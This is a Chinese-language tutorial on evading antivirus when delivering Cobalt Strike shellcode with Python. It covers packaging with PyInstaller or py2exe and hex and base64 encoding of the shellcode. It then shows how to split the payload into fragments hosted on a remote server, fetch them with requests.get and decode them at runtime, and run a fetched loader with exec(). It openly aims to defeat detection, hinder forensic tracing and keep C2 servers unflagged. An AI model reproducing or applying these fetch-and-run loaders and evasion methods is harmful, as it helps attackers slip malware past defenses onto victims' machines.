CS免杀-环境补充
字数 1027 2025-08-09 18:44:03
Python免杀技术:环境配置与Shellcode编码拆分方法
环境配置
Python版本要求
- 使用 Python 2.7 环境
- 这是许多传统免杀技术的基础环境
打包工具选择
-
PyInstaller 3.0
- 安装命令:
pip install pyinstaller==3.0 - 注意:PyInstaller的某些特征已被标记为恶意软件特征
- 安装命令:
-
py2exe
- 可作为PyInstaller的替代方案
- 由于PyInstaller特征已被标记,建议考虑使用py2exe打包
Shellcode处理技术
Shellcode基本概念
- Shellcode是一段实现特定恶意功能的机器码
- 通常转换为16进制形式使用
编码方法
-
基础编码流程:
- 生成原始shellcode
- 进行hex编码
- 再进行base64编码
- 将编码结果存放在服务器上的文本文件中(如123.txt)
-
加载方法:
scode = requests.get("http://192.168.1.1/123.txt") shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
免杀关键点
- 确保使用的IP或URL未被标记为恶意网站或C2服务器
- 直接访问包含完整shellcode的文件仍有一定风险
高级拆分技术
基本思路
- 将编码后的shellcode拆分成多个片段
- 分散存放在服务器不同文件中
- 单独访问每个片段不会被检测为恶意
实现方法
方法一:base64编码后拆分
-
将base64代码分成两段:
- 存放在1.txt和2.txt
- 加载时拼接解码:
scode1 = requests.get("http://192.168.1.1/1.txt") scode2 = requests.get("http://192.168.1.1/2.txt") shellcode = bytearray(base64.b64decode(scode1.text+scode2.text).decode('hex'))
-
分成三段base64编码:
scode1 = requests.get("http://192.168.1.1/1.txt") scode2 = requests.get("http://192.168.1.1/2.txt") scode3 = requests.get("http://192.168.1.1/3.txt") shellcode = bytearray((base64.b64decode(scode1.text)+base64.b64decode(scode2.text)+base64.b64decode(scode3.text)).decode('hex'))
方法二:自定义加密
- 设计自己的加密方式
- 加密后上传到服务器
- 加载时逆向解密
- 关键原则:如何拆分就如何还原
技术优势
-
规避检测:
- 杀毒软件无法将所有片段拼合起来检测
- 单独访问每个片段不会触发警报
-
增加分析难度:
- 即使人工溯源也极为困难
- 需要还原整个拆分和编码逻辑才能识别威胁
-
灵活性:
- 可以自由设计拆分和加密方案
- 可以根据需要增加分段数量
扩展应用
- 同样的方法可用于加载Python loader
- 将loader代码拆分后存放在服务器
- 使用
exec()函数执行加载的代码
注意事项
-
环境一致性:
- 确保开发环境与目标环境一致
- Python版本差异可能导致问题
-
特征规避:
- 避免使用已被标记的打包工具特征
- 定期更新技术方案
-
服务器安全:
- 确保使用的服务器不被标记为恶意
- 考虑使用CDN或云存储分散风险
通过以上方法,可以有效提高Python实现的免杀能力,同时增加安全产品的检测难度。关键在于创造性设计拆分和编码方案,使每个组件单独看起来都无害,只有组合起来才具有完整功能。